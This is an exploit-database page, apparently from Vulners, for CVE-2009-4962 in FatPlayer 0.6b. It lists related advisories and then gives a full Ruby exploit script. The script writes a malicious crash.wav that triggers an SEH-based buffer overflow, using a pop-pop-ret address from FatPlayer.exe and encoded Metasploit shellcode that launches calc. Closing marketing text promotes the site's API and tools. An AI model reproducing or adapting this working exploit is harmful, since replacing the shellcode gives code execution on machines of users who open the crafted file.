| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Fat Player 0.6b WAV File Processing Buffer Overflow (SEH) | 9 Aug 201000:00 | – | zdt | |
| CVE-2009-4962 | 24 Aug 200900:00 | – | circl | |
| CVE-2009-4962 | 27 Jul 201018:39 | – | cve | |
| CVE-2009-4962 | 27 Jul 201018:39 | – | cvelist | |
| Fat Player 0.6b - '.WAV' File Processing Buffer Overflow (SEH) | 9 Aug 201000:00 | – | exploitdb | |
| Fat Player 0.6b - '.wav' Universal Local Buffer | 24 Aug 200900:00 | – | exploitdb | |
| Fat Player 0.6b - .WAV File Processing Buffer Overflow (SEH) | 9 Aug 201000:00 | – | exploitpack | |
| Fat Player Media Player 0.6b0 Buffer Overflow | 20 Oct 201011:53 | – | metasploit | |
| CVE-2009-4962 | 28 Jul 201014:43 | – | nvd | |
| Fat Player 0.6b WAV File Processing Buffer Overflow | 12 Aug 201000:00 | – | packetstorm |
# Exploit Title: FatPlayer 0.6b Malicious WAV Buffer Overflow Vulnerability (SEH)
# Date: 10/18/10
# Author: james [AT] learnsecurityonline [DOT] com
# Software Link: http://sourceforge.net/projects/fatplayer/files/
# Version: 0.6 Beta
# Tested on: Windows XP SP3 EN
# CVE: N/A
#! /usr/bin/env ruby
junk = "\x41" * 4132
nSEH = "\x90\x90\xeb\x06"
SEH = [0x0046bee3].pack('V') #pop pop ret from FatPlayer.exe
junk2 = "\x42\x42"
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
payload = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc"
payload << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
payload << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85"
payload << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5"
payload << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c"
payload << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21"
payload << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5"
payload << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27"
payload << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3"
payload << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53"
payload << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f"
payload << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6"
payload << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8"
payload << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
payload << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f"
payload << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"
File.open("crash.wav", 'w') do |b|
b.write junk + nSEH + SEH + junk2 + payload
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation